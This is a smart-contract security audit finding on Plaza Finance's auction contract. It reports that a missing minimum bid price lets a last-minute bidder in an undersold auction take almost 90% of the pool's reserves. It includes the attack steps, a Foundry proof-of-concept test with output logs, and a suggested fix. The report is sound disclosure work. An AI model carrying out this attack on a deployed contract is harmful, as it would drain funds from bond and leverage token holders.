Suave Vermilion Worm

Medium

# Lack of minimum price for bid might lead to pool drain

### Summary

Currently, when a user is bidding on an auction, he provides the desired reserve token amount to purchase and the tokens he is willing to pay for that. While there are a lot of validations for the coupon amount he has provided, there are non for the reserve token amount he can purchase. This means that the user can input any value of reserve tokens he want, and in case there are no better bids, he will receive these reserve tokens at a huge premium.

### Root Cause

When creating an auction, the pool provides a `poolSaleLimit`, which represents the percentage of the pool, the protocol is willing to sell in order to pay the Bond Token holder the yield, they are owed. The minimum value of this limit is 90% ([ref](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L39)). This check is enforced upon auction ending ([ref](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L341)).

When placing a bid the user can choose any amount of reserve tokens he wants to buy for the amount of coupon tokens he provides ([ref](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L125)).

In case of unattended auction, or auction that hasn't fulfilled the target coupon amount, a malicious user can select up to `poolSaleLimit * poolReserveBalance / 100 - 1` reserve tokens. Which will lead to buying reserve tokens at a huge premium.

### Internal Pre-conditions

_No response_

### External Pre-conditions

1. Auction has low participation rate

### Attack Path

1. Auction is created
2. No user attends it or the auction is undersold
3. At the last minute the attacker deposits the required coupon tokens in exchange of almost 90% of the pool's reserves.
4. The auction is ended.
5. The user claims almost 90% of the pool's reserves. 

### Impact

Users can retrieve reserve tokens at a huge premium, which will lead to a loss for the Bond and Leverage tokens holders.

### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import {Test, console} from "forge-std/Test.sol";

import {Pool} from "src/Pool.sol";
import {Token} from "test/mocks/Token.sol";
import {Utils} from "src/lib/Utils.sol";
import {Auction} from "src/Auction.sol";
import {BondToken} from "src/BondToken.sol";
import {PoolFactory} from "src/PoolFactory.sol";
import {Distributor} from "src/Distributor.sol";
import {OracleFeeds} from "src/OracleFeeds.sol";
import {LeverageToken} from "src/LeverageToken.sol";
import {Deployer} from "src/utils/Deployer.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";

contract AuctionPoC is Test {
    Auction auction;
    Token usdc;
    Token weth;

    address bidder = address(0x1);
    address governance = address(0x4);

    address pool;

    uint256 amount;
    uint256 constant RESERVE_AMOUNT = 100 ether;
    uint256 constant POOL_SALE_LIMIT = 90; // 90%

    function createPool(address reserve, address coupon) public returns (address) {
        vm.startPrank(governance);
        address deployer = address(new Deployer());
        address oracleFeeds = address(new OracleFeeds());

        address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
        address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
        address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
        address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

        PoolFactory poolFactory = PoolFactory(
            Utils.deploy(
                address(new PoolFactory()),
                abi.encodeCall(
                    PoolFactory.initialize,
                    (governance, deployer, oracleFeeds, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
                )
            )
        );

        PoolFactory.PoolParams memory params;
        params.fee = 0;
        params.reserveToken = reserve;
        params.sharesPerToken = 2500000;
        params.distributionPeriod = 90 days;
        params.couponToken = coupon;

        poolFactory.grantRole(poolFactory.GOV_ROLE(), governance);
        poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);

        Token(reserve).mint(governance, RESERVE_AMOUNT);
        Token(reserve).approve(address(poolFactory), RESERVE_AMOUNT);

        return poolFactory.createPool(
            params,
            RESERVE_AMOUNT,
            10000 * 10 ** 18,
            10000 * 10 ** 18,
            "Bond ETH",
            "bondETH",
            "Leverage ETH",
            "levETH",
            false
        );
    }

    function setUp() public {
        usdc = new Token("USDC", "USDC", false);
        weth = new Token("WETH", "WETH", false);

        pool = createPool(address(weth), address(usdc));

        Pool(pool).setAuctionPeriod(10 days);
        skip(95 days);
        Pool(pool).startAuction();
        auction = Auction(Pool(pool).auctions(0));
        amount = auction.totalBuyCouponAmount();
    }

    //2
    function test_userCanWithdrawAlotReserveTokens() public {
        console.log("Pool reserve balance before auction: ", weth.balanceOf(pool));

        //Auction that will not be filled
        vm.warp(block.timestamp + 10 days - 1);

        // Bidder enters at the last second
        vm.startPrank(bidder);
        usdc.mint(bidder, amount);
        usdc.approve(address(auction), amount);
        uint256 reserveAmountToBuy = RESERVE_AMOUNT * POOL_SALE_LIMIT / 100 - 1;
        auction.bid(reserveAmountToBuy, amount);
        vm.stopPrank();

        vm.warp(block.timestamp + 2);

        // End the auction
        auction.endAuction();

        console.log("Pool reserve balance after auction: ", weth.balanceOf(pool));
        console.log("Auction balance: ", weth.balanceOf(address(auction))); // 89.99(9)%

        assertEq(weth.balanceOf(pool), RESERVE_AMOUNT * 10 / 100 + 1); // 10% + 1 wei left
    }
```
Logs:
```logs
        Pool reserve balance before auction:  100000000000000000000
        Pool reserve balance after auction:  10000000000000000001
        Auction balance:  89999999999999999999
```

### Mitigation

Enforce a minimum bid price to ensure that the reserve tokens will not be purchased at a huge premium.